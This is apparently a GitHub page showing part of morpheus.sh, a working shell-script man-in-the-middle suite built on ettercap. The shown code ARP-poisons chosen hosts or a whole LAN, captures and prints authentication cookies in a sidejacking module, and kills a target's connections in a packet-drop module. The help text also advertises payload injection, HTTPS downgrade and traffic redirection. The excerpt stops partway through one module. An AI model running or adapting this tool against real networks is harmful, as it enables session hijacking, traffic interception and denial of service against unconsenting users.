forked from r00t-3xp10it/morpheus
-
Notifications
You must be signed in to change notification settings - Fork 0
/
morpheus.sh
executable file
·3233 lines (2734 loc) · 154 KB
/
morpheus.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/sh
###
# morpheus - automated ettercap TCP/IP Hijacking tool
# Author: pedr0 Ubuntu [r00t-3xp10it] version: 2.3
# Suspicious-Shell-Activity (SSA) RedTeam develop @2018
# codename: oneiroi_phobetor [ GPL licensed ]
#
#
# DESCRIPTION:
# Morpheus it's a Man-In-The-Middle suite that allows users to manipulate tcp/udp
# data using ettercap, urlsnarf, msgsnarf and tcpkill as backend applications, but...
# This tool main objective it's not to provide an easy way to exploit/sniff targets
# but ratter a 'call for attention' to tcp/udp manipulation technics (etter filters).
# "I belive that the most funny step, it will be when you write your own filter and watch it run".
#
#
# DEPENDENCIES:
# required: ettercap, nmap, zenity, apache2
# sub-dependencies: driftnet, dsniff (urlsnarf, tcpkill, msgsnarf), sslstrip,dns2proxy
# Distros Supported: Linux Ubuntu, Kali, Debian, BackBox, Parrot OS
# Credits: alor&naga (ettercap framework) | fyodor (nmap framework)| apache2 (Rob McCool) | dsniff (Dug Song)
# filters: irongeek (replace img) | seannicholls (rotate 180º) | TheBlaCkCoDeR09 (ToR-Browser-0day)
###
###
# Resize terminal windows size befor running the tool (gnome terminal)
# Special thanks to h4x0r Milton@Barra for this little piece of heaven! :D
resize -s 37 78 > /dev/null
# inicio
# -----------------------------------
# Colorise shell Script output leters
# -----------------------------------
Colors() {
Escape="\033";
white="${Escape}[0m";
RedF="${Escape}[31m";
GreenF="${Escape}[32m";
YellowF="${Escape}[33m";
BlueF="${Escape}[34m";
CyanF="${Escape}[36m";
Reset="${Escape}[0m";
}
# ---------------------
# Variable declarations
# ---------------------
dtr=`date | awk '{print $4}'` # grab current hour
V3R="2.3" # module version number
cnm="oneiroi_phobetor" # module codename
DiStR0=`awk '{print $1}' /etc/issue` # grab distribution - Ubuntu or Kali
IPATH=`pwd` # grab morpheus.sh install path
GaTe=`ip route | grep "default" | awk {'print $3'}` > /dev/null 2>&1 # gateway
IP_RANGE=`ip route | grep "kernel" | awk {'print $1'}` > /dev/null 2>&1 # ip-range
PrompT=`cat $IPATH/settings | egrep -m 1 "PROMPT_DISPLAY" | cut -d '=' -f2` > /dev/null 2>&1
LoGs=`cat $IPATH/settings | egrep -m 1 "WRITE_LOGFILES" | cut -d '=' -f2` > /dev/null 2>&1
IpV=`cat $IPATH/settings | egrep -m 1 "USE_IPV6" | cut -d '=' -f2` > /dev/null 2>&1
Edns=`cat $IPATH/settings | egrep -m 1 "ETTER_DNS" | cut -d '=' -f2` > /dev/null 2>&1
Econ=`cat $IPATH/settings | egrep -m 1 "ETTER_CONF" | cut -d '=' -f2` > /dev/null 2>&1
ApachE=`cat $IPATH/settings | egrep -m 1 "AP_PATH" | cut -d '=' -f2` > /dev/null 2>&1
LoGmSf=`cat $IPATH/settings | egrep -m 1 "LOG_MSF" | cut -d '=' -f2` > /dev/null 2>&1
TcPkiL=`cat $IPATH/settings | egrep -m 1 "TCP_KILL" | cut -d '=' -f2` > /dev/null 2>&1
UsNar=`cat $IPATH/settings | egrep -m 1 "URL_SNARF" | cut -d '=' -f2` > /dev/null 2>&1
MsGnA=`cat $IPATH/settings | egrep -m 1 "MSG_SNARF" | cut -d '=' -f2` > /dev/null 2>&1
PrEfI=`cat $IPATH/settings | egrep -m 1 "PREFIX" | cut -d '=' -f2` > /dev/null 2>&1
DrIn=`cat $IPATH/settings | egrep -m 1 "DRI_NET" | cut -d '=' -f2` > /dev/null 2>&1
RbUdB=`cat $IPATH/settings | egrep -m 1 "REBUILD_DB" | cut -d '=' -f2` > /dev/null 2>&1
IPH_UA=`cat $IPATH/settings | egrep -m 1 "IPHONE_USERAGENT" | cut -d '=' -f2` > /dev/null 2>&1
LUA_PATH=`cat $IPATH/settings | egrep -m 1 "LIB_PATH" | cut -d '=' -f2` > /dev/null 2>&1
Colors;
cat << !
███╗ ███╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗
████╗ ████║██╔═══██╗██╔══██╗██╔══██╗██║ ██║██╔════╝██║ ██║██╔════╝
██╔████╔██║██║ ██║██████╔╝██████╔╝███████║█████╗ ██║ ██║███████╗
██║╚██╔╝██║██║ ██║██╔══██╗██╔═══╝ ██╔══██║██╔══╝ ██║ ██║╚════██║
██║ ╚═╝ ██║╚██████╔╝██║ ██║██║ ██║ ██║███████╗╚██████╔╝███████║
╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚══════╝
!
echo "${RedF} Morpheus${white}©::${RedF}v$V3R${white}::${RedF}codename${white}::${RedF}oneiroi_phobetor${white}::${RedF}SuspiciousShellActivity${white}©"
echo "${BlueF} ╔───────────────────────────────────────────────────────────────────╗"
echo "${BlueF} |${YellowF}Morpheus its a Man-In-The-Middle (mitm) suite that allows users to ${BlueF}|"
echo "${BlueF} |${YellowF}manipulate tcp/udp data using ettercap, urlsnarf, msgsnarf, tcpkill${BlueF}|"
echo "${BlueF} |${YellowF}as backend applications but... This tool main objective its not to ${BlueF}|"
echo "${BlueF} |${YellowF}provide an easy way to exploit/sniff targets, but ratter a call of ${BlueF}|"
echo "${BlueF} |${YellowF}attemption to tcp/udp manipulations technics (etter filters). ${BlueF}|"
echo "${BlueF} ╠───────────────────────────────────────────────────────────────────╝"
sleep 1
echo "${BlueF} ╘ ${white}Press [${GreenF} ENTER ${white}] to continue${RedF}!"
read OP
# -----------------------------------------
# check if user is root
# and if dependencies are proper installed
# ----------------------------------------
if [ $(id -u) != "0" ]; then
echo ""
echo ${RedF}[☠]${white} we need to be root to run this script...${Reset};
echo ${RedF}[☠]${white} execute [ sudo ./morpheus.sh ] on terminal ${Reset};
exit
fi
apc=`which ettercap`
if [ "$?" != "0" ]; then
echo ""
echo ${RedF}[☠]${white} ettercap '->' not found! ${Reset};
sleep 1
echo ${RedF}[☠]${white} This script requires ettercap to work! ${Reset};
echo ${RedF}[☠]${white} Please run: sudo apt-get install ettercap ${Reset};
echo ${RedF}[☠]${white} to install missing dependencies... ${Reset};
exit
fi
npm=`which nmap`
if [ "$?" != "0" ]; then
echo ""
echo ${RedF}[☠]${white} nmap '->' not found! ${Reset};
sleep 1
echo ${RedF}[☠]${white} This script requires nmap to work! ${Reset};
echo ${RedF}[☠]${white} Please run: sudo apt-get install nmap ${Reset};
echo ${RedF}[☠]${white} to install missing dependencies... ${Reset};
exit
fi
npm=`which apache2`
if [ "$?" != "0" ]; then
echo ""
echo ${RedF}[☠]${white} apache2 '->' not found! ${Reset};
sleep 1
echo ${RedF}[☠]${white} This script requires apache2 to work! ${Reset};
echo ${RedF}[☠]${white} Please run: sudo apt-get install apache ${Reset};
echo ${RedF}[☠]${white} to install missing dependencies... ${Reset};
exit
fi
# ------------------------------------------
# pass arguments to script [ -h ]
# we can use: ./morpheus.sh -h for help menu
# ------------------------------------------
while getopts ":h" opt; do
case $opt in
h)
cat << !
---
-- Author: r00t-3xp10it | SSA RedTeam @2018
-- Supported: Linux Kali, Ubuntu, Mint, Parrot OS
-- Suspicious-Shell-Activity (SSA) RedTeam develop @2016
---
morpheus.sh framework automates tcp/udp packet manipulation tasks by using
ettercap filters to manipulate target http requests under MitM attacks
replacing the http packet contents by our own contents befor sending the
packet back to the host that have request for it (tcp/ip hijacking).
morpheus ships with a collection of etter filters writen be me to acomplish
various tasks: replacing images in webpages, replace text in webpages, inject
payloads using html <form> tag, denial-of-service attack (drop packets from source)
https/ssh downgrade attacks, redirect target browser traffic to another ip address
and also gives you the ability to build/compile your filter from scratch and lunch
it through morpheus framework.
!
exit
;;
\?)
echo ${RedF}[x]${white} Invalid option:${RedF} -$OPTARG ${Reset}; >&2
exit
;;
esac
done
# ---------------------------------------------
# grab Operative System distro to store IP addr
# output = Ubuntu OR Kali OR Parrot OR BackBox
# ---------------------------------------------
InT3R=`netstat -r | grep "default" | awk {'print $8'}` # grab interface in use
case $DiStR0 in
Kali) IP=`ifconfig $InT3R | egrep -w "inet" | awk '{print $2}'`;;
Debian) IP=`ifconfig $InT3R | egrep -w "inet" | awk '{print $2}'`;;
Mint) IP=`ifconfig $InT3R | egrep -w "inet" | awk '{print $2}' | cut -d ':' -f2`;;
Ubuntu) IP=`ifconfig $InT3R | egrep -w "inet" | awk {'print $2'} | cut -d ':' -f2`;;
Parrot) IP=`ifconfig $InT3R | egrep -w "inet" | awk '{print $2}'`;;
BackBox) IP=`ifconfig $InT3R | egrep -w "inet" | awk {'print $2'} | cut -d ':' -f2`;;
elementary) IP=`ifconfig $InT3R | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
*) IP=`zenity --title="☠ Input your IP addr ☠" --text "example: 192.168.1.68" --entry --width 270`;;
esac
# config internal framework settings
ping -c 3 www.google.com | zenity --progress --pulsate --title "☠ MORPHEUS TCP/IP HIJACKING ☠" --text="Config internal framework settings...\nip addr, ip range, gateway, interface\netter.conf, etter.dns, uid/gid privileges." --percentage=0 --auto-close --width 290 > /dev/null 2>&1
if [ -e $Econ ]; then
cp $Econ /tmp/etter.conf > /dev/null 2>&1
cp $IPATH/bin/etter.conf $Econ > /dev/null 2>&1
sleep 1
else
echo ${RedF}[x]${white} morpheus cant Find:${RedF} $Econ ${Reset};
echo ${RedF}[x]${white} edit settings File to input path of etter.conf File ${Reset};
sleep 2
exit
fi
# ----------------------------------
# bash trap ctrl-c and call ctrl_c()
# ----------------------------------
trap ctrl_c INT
ctrl_c() {
echo "${RedF}[x]${white} CTRL+C Abort current tasks${RedF}...${Reset}"
# clean logfiles folder at exit
rm $IPATH/logs/parse > /dev/null 2>&1
rm $IPATH/logs/lan.mop > /dev/null 2>&1
rm $IPATH/logs/triggertwo > /dev/nul 2>&1
rm $IPATH/output/firewall.ef > /dev/null 2>&1
rm $IPATH/output/template.ef > /dev/null 2>&1
rm $IPATH/output/redirect.ef > /dev/null 2>&1
rm $IPATH/output/EasterEgg.ef > /dev/null 2>&1
rm $IPATH/output/UserAgent.ef > /dev/null 2>&1
rm $IPATH/output/grab_hosts.ef > /dev/null 2>&1
rm $IPATH/output/packet_drop.ef > /dev/null 2>&1
rm $IPATH/output/img_replace.ef > /dev/null 2>&1
rm $IPATH/output/sidejacking.ef > /dev/null 2>&1
rm $IPATH/output/chat_services.ef > /dev/null 2>&1
rm $IPATH/output/dhcp-discovery.ef > /dev/null 2>&1
rm $IPATH/output/cryptocurrency.ef > /dev/null 2>&1
# revert filters to default stage
mv $IPATH/filters/firewall.rb $IPATH/filters/firewall.eft > /dev/null 2>&1
mv $IPATH/filters/template.rb $IPATH/filters/template.eft > /dev/null 2>&1
mv $IPATH/filters/redirect.rb $IPATH/filters/redirect.eft > /dev/null 2>&1
mv $IPATH/filters/EasterEgg.rb $IPATH/filters/EasterEgg.eft > /dev/null 2>&1
mv $IPATH/filters/UserAgent.rb $IPATH/filters/UserAgent.eft > /dev/null 2>&1
mv $IPATH/filters/grab_hosts.rb $IPATH/filters/grab_hosts.eft > /dev/null 2>&1
mv $IPATH/filters/packet_drop.rb $IPATH/filters/packet_drop.eft > /dev/null 2>&1
mv $IPATH/filters/img_replace.rb $IPATH/filters/img_replace.eft > /dev/null 2>&1
mv $IPATH/filters/sidejacking.rb $IPATH/filters/sidejacking.eft > /dev/null 2>&1
mv $IPATH/filters/chat_services.rb $IPATH/filters/chat_services.eft > /dev/null 2>&1
mv $IPATH/filters/cryptocurrency.rb $IPATH/filters/cryptocurrency.eft > /dev/null 2>&1
mv $IPATH/filters/dhcp-discovery.bak $IPATH/filters/dhcp-discovery.eft > /dev/null 2>&1
mv $IPATH/bin/phishing/EasterEgg.bak $IPATH/bin/phishing/EasterEgg.html > /dev/null 2>&1
rm -r $IPATH/logs/capture > /dev/null 2>&1
rm $ApachE/index.html > /dev/null 2>&1
rm $ApachE/cssbanner.js > /dev/null 2>&1
rm -R $ApachE/"Google Sphere_files" > /dev/null 2>&1
mv $IPATH/bin/etter.rb $IPATH/bin/etter.dns > /dev/null 2>&1
# revert ettercap conf files to default stage
if [ -e $Edns ]; then
mv /tmp/etter.dns $Edns > /dev/null 2>&1
echo ${BlueF}[${GreenF}✔${BlueF}]${white} Revert ettercap etter.dns ${Reset};
fi
if [ -e $Econ ]; then
echo ${BlueF}[${GreenF}✔${BlueF}]${white} Revert ettercap etter.conf ${Reset};
mv /tmp/etter.conf $Econ > /dev/null 2>&1
fi
sleep 2
exit
}
#
#
# START OF SCRIPT FUNTIONS
#
#
# ----------------------------------------
# PRE-CONFIGURATED TEMPLATE - FIREWALL.EFT
# ----------------------------------------
sh_stage1 () {
echo ""
echo "${BlueF} ╔───────────────────────────────────────────────────────────────────╗"
echo "${BlueF} | ${YellowF}This module acts like a firewall report/block/capture_credentials ${BlueF}|"
echo "${BlueF} | ${YellowF} from the selected targets tcp/udp connections (local lan) ${BlueF}|"
echo "${BlueF} ╚───────────────────────────────────────────────────────────────────╝"
echo ""
sleep 2
# run module?
rUn=$(zenity --question --title="☠ MORPHEUS TCP/IP HIJACKING ☠" --text "Execute this module?" --width 270) > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
# get user input to build filter
echo ${BlueF}[☠]${white} Enter filter settings${RedF}! ${Reset};
rhost=$(zenity --title="☠ Enter RHOST ☠" --text "'morpheus arp poison settings'\nLeave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
gateway=$(zenity --title="☠ Enter GATEWAY ☠" --text "'morpheus arp poison settings'\nLeave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
echo ${BlueF}[☠]${white} Backup files needed${RedF}!${Reset};
cp $IPATH/filters/firewall.eft $IPATH/filters/firewall.rb > /dev/null 2>&1
sleep 1
echo ${BlueF}[☠]${white} Edit firewall.eft${RedF}!${Reset};
sleep 1
fil_one=$(zenity --title="☠ HOST TO FILTER ☠" --text "example: $IP\nchose first target to filter through morpheus." --entry --width 270) > /dev/null 2>&1
fil_two=$(zenity --title="☠ HOST TO FILTER ☠" --text "example: $IP\nchose last target to filter through morpheus.\nchose gateway ip, if you dont have any more targets." --entry --width 270) > /dev/null 2>&1
cd $IPATH/filters
ed=`hostname`
echo "$ed"7 > /tmp/test
hOstNaMe=`cat /tmp/test`
dIsd=`uname -r`
# replace values in template.filter with sed bash command
sed -i "s|TaRONE|$fil_one|g" firewall.eft # NO dev/null to report file not existence :D
sed -i "s|TaRTWO|$fil_two|g" firewall.eft > /dev/null 2>&1
sed -i "s|hOst|$hOstNaMe|g" firewall.eft > /dev/null 2>&1
sed -i "s|MoDeM|$GaTe|g" firewall.eft > /dev/null 2>&1
sed -i "s|DisTr|$dIsd|g" firewall.eft > /dev/null 2>&1
rm /tmp/test > /dev/null 2>&1
cd $IPATH
zenity --info --title="☠ MORPHEUS SCRIPTING CONSOLE ☠" --text "morpheus framework now gives you\nthe oportunity to just run the filter\nOR to scripting it further...\n\n'Have fun scripting it further'..." --width 270 > /dev/null 2>&1
xterm -T "MORPHEUS SCRIPTING CONSOLE" -geometry 115x36 -e "nano $IPATH/filters/firewall.eft"
sleep 1
# compiling firewall.eft to be used in ettercap
echo ${BlueF}[☠]${white} Compiling firewall.eft${RedF}!${Reset};
xterm -T "MORPHEUS - COMPILING" -geometry 90x26 -e "etterfilter $IPATH/filters/firewall.eft -o $IPATH/output/firewall.ef && sleep 3"
sleep 1
# port-forward
# echo "1" > /proc/sys/net/ipv4/ip_forward
cd $IPATH/logs
# run mitm+filter
echo ${BlueF}[☠]${white} Running ARP poison + etter filter${RedF}!${Reset};
echo ${YellowF}[☠]${white} Press ${YellowF}[q]${white} to quit ettercap framework${RedF}!${Reset};
sleep 2
if [ "$IpV" = "ACTIVE" ]; then
if [ "$LoGs" = "NO" ]; then
echo ${GreenF}[☠]${white} Using IPv6 settings${RedF}!${Reset};
ettercap -T -Q -i $InT3R -F $IPATH/output/firewall.ef -M ARP /$rhost// /$gateway//
else
echo ${GreenF}[☠]${white} Using IPv6 settings${RedF}!${Reset};
ettercap -T -Q -i $InT3R -F $IPATH/output/firewall.ef -L $IPATH/logs/firewall -M ARP /$rhost// /$gateway//
fi
else
if [ "$LoGs" = "YES" ]; then
echo ${GreenF}[☠]${white} Using IPv4 settings${RedF}!${Reset};
ettercap -T -Q -i $InT3R -F $IPATH/output/firewall.ef -M ARP /$rhost/ /$gateway/
else
echo ${GreenF}[☠]${white} Using IPv4 settings${RedF}!${Reset};
ettercap -T -Q -i $InT3R -F $IPATH/output/firewall.ef -L $IPATH/logs/firewall -M ARP /$rhost/ /$gateway/
fi
fi
# check if exist any reports
dd=`ls $IPATH/logs`
if ! [ -z "$dd" ]; then
Qu=$(zenity --info --title="☠ MORPHEUS TCP/IP HIJACKING ☠" --text "logfiles stored $IPATH/logs" --width 270) > /dev/null 2>&1
fi
# clean up
echo ${BlueF}[☠]${white} Cleaning recent files${RedF}!${Reset};
mv $IPATH/filters/firewall.rb $IPATH/filters/firewall.eft > /dev/null 2>&1
# port-forward
# echo "0" > /proc/sys/net/ipv4/ip_forward
sleep 2
rm $IPATH/output/firewall.ef > /dev/null 2>&1
cd $IPATH
else
echo ${RedF}[x]${white} Abort current tasks${RedF}!${Reset};
sleep 2
fi
}
# -------------------------------------------
# SIDEJACKING ATTACK (HTTP) STEAL COOKIES
# -------------------------------------------
sh_stage2 () {
echo ""
echo "${BlueF} ╔───────────────────────────────────────────────────────────────────╗"
echo "${BlueF} | ${YellowF} This module will display port 80(http) and port 443(https) ${BlueF}|"
echo "${BlueF} | ${YellowF} traffic from selected target host, And it will warn attacker ${BlueF}|"
echo "${BlueF} | ${YellowF} If any auth cookie its captured And stored in 'sidejacking.log' ${BlueF}|"
echo "${BlueF} | ${YellowF} ${BlueF}|"
echo "${BlueF} | ${YellowF} 'Also this module allow users to input a cookie name to filter' ${BlueF}|"
echo "${BlueF} ╚───────────────────────────────────────────────────────────────────╝"
echo ""
sleep 2
# run module?
rUn=$(zenity --question --title="☠ MORPHEUS TCP/IP HIJACKING ☠" --text "Execute this module?" --width 270) > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
# get user input to build filter
rm $IPATH/logs/sidejacking.log > /dev/null 2>&1
echo ${BlueF}[☠]${white} Enter filter settings${RedF}! ${Reset};
rhost=$(zenity --title="☠ Enter RHOST ☠" --text "'morpheus arp poison settings'\n\Leave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
gateway=$(zenity --title="☠ Enter GATEWAY ☠" --text "'morpheus arp poison settings'\nLeave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
echo ${BlueF}[☠]${white} Backup files needed${RedF}!${Reset};
cp $IPATH/filters/sidejacking.eft $IPATH/filters/sidejacking.rb > /dev/null 2>&1
sleep 1
echo ${BlueF}[☠]${white} Edit sidejacking.eft${RedF}!${Reset};
sleep 1
fil_one=$(zenity --title="☠ HOST TO FILTER ☠" --text "example: $IP\nChose target to filter through morpheus." --entry --width 270) > /dev/null 2>&1
FiLteR=$(zenity --title="☠ Enter COOKIE NAME ☠" --text "example:userid=\nIf you want to capture all cookies use:Cookie\nInput a cookie name to filter through morpheus." --entry --width 270) > /dev/null 2>&1
# replace values in template.filter with sed bash command
cd $IPATH/filters
sed -i "s|TaRgEt|$fil_one|g" sidejacking.eft # NO dev/null to report file not existence :D
sed -i "s|UsErInPut|$FiLteR|g" sidejacking.eft > /dev/null 2>&1
cd $IPATH
zenity --info --title="☠ MORPHEUS SCRIPTING CONSOLE ☠" --text "morpheus framework now gives you\nthe oportunity to just run the filter\nOR to scripting it further...\n\n'Have fun scripting it further'..." --width 270 > /dev/null 2>&1
xterm -T "MORPHEUS SCRIPTING CONSOLE" -geometry 115x36 -e "nano $IPATH/filters/sidejacking.eft"
sleep 1
# compiling packet_drop.eft to be used in ettercap
echo ${BlueF}[☠]${white} Compiling sidejacking.eft${RedF}!${Reset};
xterm -T "MORPHEUS - COMPILING" -geometry 90x26 -e "etterfilter $IPATH/filters/sidejacking.eft -o $IPATH/output/sidejacking.ef && sleep 3"
sleep 1
# port-forward
# echo "1" > /proc/sys/net/ipv4/ip_forward
cd $IPATH/logs
# run mitm+filter
echo ${BlueF}[☠]${white} Running ARP poison + etter filter${RedF}!${Reset};
echo ${YellowF}[☠]${white} Press ${YellowF}[q]${white} to quit ettercap framework${RedF}!${Reset};
sleep 2
if [ "$IpV" = "ACTIVE" ]; then
if [ "$LoGs" = "NO" ]; then
echo ${GreenF}[☠]${white} Using IPv6 settings${RedF}!${Reset};
ettercap -T --visual text -Q -i $InT3R -F $IPATH/output/sidejacking.ef -M ARP /$rhost// /$gateway//
else
echo ${GreenF}[☠]${white} Using IPv6 settings${RedF}!${Reset};
ettercap -T --visual text -Q -i $InT3R -F $IPATH/output/sidejacking.ef -L $IPATH/logs/sidejacking -M ARP /$rhost// /$gateway//
fi
else
if [ "$LoGs" = "YES" ]; then
echo ${GreenF}[☠]${white} Using IPv4 settings${RedF}!${Reset};
ettercap -T --visual text -Q -i $InT3R -F $IPATH/output/sidejacking.ef -M ARP /$rhost/ /$gateway/
else
echo ${GreenF}[☠]${white} Using IPv4 settings${RedF}!${Reset};
ettercap -T --visual text -Q -i $InT3R -F $IPATH/output/sidejacking.ef -L $IPATH/logs/sidejacking -M ARP /$rhost/ /$gateway/
fi
fi
cd $IPATH/logs
# delete utf-8/non-ancii caracters from tcp data captured
tr -cd '\11\12\15\40-\176' < sidejacking.log > clean-file.log
mv clean-file.log sidejacking.log > /dev/null 2>&1
# store captured data (cookies) into one variable
fdd=`cat $IPATH/logs/sidejacking.log` > /dev/null 2>&1
# check if variable its 'empty'
if ! [ -z "$fdd" ]; then
echo ""
# print captured data (cookies captured list)
echo "${white}Host:${YellowF} $fil_one ${white}cookies report${RedF}!"
echo "$fdd"
echo ""
# warn users that we have data stored into a logfile
Qu=$(zenity --info --title="☠ MORPHEUS TCP/IP HIJACKING ☠" --text "logfiles stored $IPATH/logs" --width 270) > /dev/null 2>&1
fi
# clean up
echo ${BlueF}[☠]${white} Cleaning recent files${RedF}!${Reset};
mv $IPATH/filters/sidejacking.rb $IPATH/filters/sidejacking.eft > /dev/null 2>&1
# port-forward
# echo "0" > /proc/sys/net/ipv4/ip_forward
sleep 2
rm $IPATH/output/sidejacking.ef > /dev/null 2>&1
cd $IPATH
else
echo ${RedF}[x]${white} Abort current tasks${RedF}!${Reset};
sleep 2
fi
}
# -------------------------------------------
# DROP/KILL TCP/UDP CONNECTION TO/FROM TARGET
# -------------------------------------------
sh_stage3 () {
echo ""
echo "${BlueF} ╔───────────────────────────────────────────────────────────────────╗"
echo "${BlueF} | ${YellowF} This module will drop/kill any tcp/udp connections attempted ${BlueF}|"
echo "${BlueF} | ${YellowF} to/from target, droping packets from source and destination.. ${BlueF}|"
echo "${BlueF} | ${YellowF} ${BlueF}|"
echo "${BlueF} | ${YellowF} 'This module uses etter filters and tcpkill to kill connections' ${BlueF}|"
echo "${BlueF} ╚───────────────────────────────────────────────────────────────────╝"
echo ""
sleep 2
# run module?
rUn=$(zenity --question --title="☠ MORPHEUS TCP/IP HIJACKING ☠" --text "Execute this module?" --width 270) > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
ch=`which tcpkill`
if [ "$ch" != "$TcPkiL" ]; then
echo ${RedF}[x]${white} tcpkill utility not found${RedF}!${Reset};
sleep 1
echo ${RedF}[x]${white} please Install:${RedF}dsniff${white} packet...${Reset};
sleep 3
sh_exit
fi
# get user input to build filter
echo ${BlueF}[☠]${white} Enter filter settings${RedF}! ${Reset};
rhost=$(zenity --title="☠ Enter RHOST ☠" --text "'morpheus arp poison settings'\n\Leave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
gateway=$(zenity --title="☠ Enter GATEWAY ☠" --text "'morpheus arp poison settings'\nLeave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
echo ${BlueF}[☠]${white} Backup files needed${RedF}!${Reset};
cp $IPATH/filters/packet_drop.eft $IPATH/filters/packet_drop.rb > /dev/null 2>&1
sleep 1
echo ${BlueF}[☠]${white} Edit packet_drop.eft${RedF}!${Reset};
sleep 1
fil_one=$(zenity --title="☠ HOST TO FILTER ☠" --text "example: $IP\nchose target to filter through morpheus." --entry --width 270) > /dev/null 2>&1
# replace values in template.filter with sed bash command
cd $IPATH/filters
sed -i "s|TaRgEt|$fil_one|g" packet_drop.eft # NO dev/null to report file not existence :D
cd $IPATH
zenity --info --title="☠ MORPHEUS SCRIPTING CONSOLE ☠" --text "morpheus framework now gives you\nthe oportunity to just run the filter\nOR to scripting it further...\n\n'Have fun scripting it further'..." --width 270 > /dev/null 2>&1
xterm -T "MORPHEUS SCRIPTING CONSOLE" -geometry 115x36 -e "nano $IPATH/filters/packet_drop.eft"
sleep 1
# compiling packet_drop.eft to be used in ettercap
echo ${BlueF}[☠]${white} Compiling packet_drop.eft${RedF}!${Reset};
xterm -T "MORPHEUS - COMPILING" -geometry 90x26 -e "etterfilter $IPATH/filters/packet_drop.eft -o $IPATH/output/packet_drop.ef && sleep 3"
sleep 1
# port-forward
# echo "1" > /proc/sys/net/ipv4/ip_forward
cd $IPATH/logs
# run mitm+filter
echo ${BlueF}[☠]${white} Running ARP poison + etter filter${RedF}!${Reset};
echo ${YellowF}[☠]${white} Press ${YellowF}[q]${white} to quit ettercap framework${RedF}!${Reset};
sleep 2
if [ "$IpV" = "ACTIVE" ]; then
if [ "$LoGs" = "NO" ]; then
echo ${GreenF}[☠]${white} Using IPv6 settings${RedF}!${Reset};
